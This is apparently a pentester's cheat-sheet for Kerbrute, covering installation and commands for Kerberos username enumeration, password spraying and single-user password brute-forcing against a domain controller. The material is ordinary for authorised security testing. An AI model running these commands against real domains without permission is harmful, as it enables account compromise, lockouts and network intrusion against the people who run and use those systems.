# Kerbrute

## About

A tool to perform Kerberos pre-auth bruteforcing

### Links

[Github](https://github.com/ropnop/kerbrute) [Releases](https://github.com/ropnop/kerbrute/releases)

## Installing

Get the most recent file from the [Releases Page](https://github.com/ropnop/kerbrute/releases) and make it executable

```
chmod +x kerbrute_linux_amd64
```

## Usage

```
./kerbrute -h
```

### User Enumeration

```
./kerbrute_linux_amd64 userenum -d DOMAIN --dc DC-IP USERLIST.txt -v -o Outfile.txt
./kerbrute_linux_amd64 userenum -d DOMAIN --dc DC-IP USERLIST.txt | grep "VALID USERNAME" | awk '{print $7}' > valid_users.txt
```

### PasswordSpray

```
./kerbrute_linux_amd64 passwordspray -d DOMAIN --dc DC-IP domain_users.txt PASSWORD -v -o Outfile.txt
```

### Bruteforce

```
./kerbrute_linux_amd64 bruteuser -d DOMAIN --dc DC-IP WORDLIST USER -v -o Outfile.txt
```